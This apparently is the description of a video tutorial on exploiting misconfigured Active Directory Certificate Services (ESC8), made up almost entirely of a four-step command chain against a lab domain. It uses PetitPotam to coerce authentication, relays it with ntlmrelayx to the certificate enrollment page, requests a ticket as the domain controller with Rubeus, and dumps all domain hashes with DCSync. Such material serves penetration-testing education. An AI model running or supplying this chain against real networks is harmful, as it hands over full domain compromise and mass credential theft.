Exploiting Misconfigured ADCS: ESC8

Corrections: At 4:32, it is using that certificate of the machine account. Commands Used: 1) python3 petitpotam.py -u reze -p 'b0mbd3vil!!' 192.168.0.136 192.168.0.160 2) impacket-ntlmrelayx -t http://192.168.0.170/certsrv/certfnsh.asp -smb2support --adcs --template DomainController 3) .\Rubeus.exe asktgt /user:DC1$ /domain:BERSERK.local /dc:192.168.0.170 /ptt /certificate: 4) lsadump::dcsync /domain:BERSERK.local /all /csv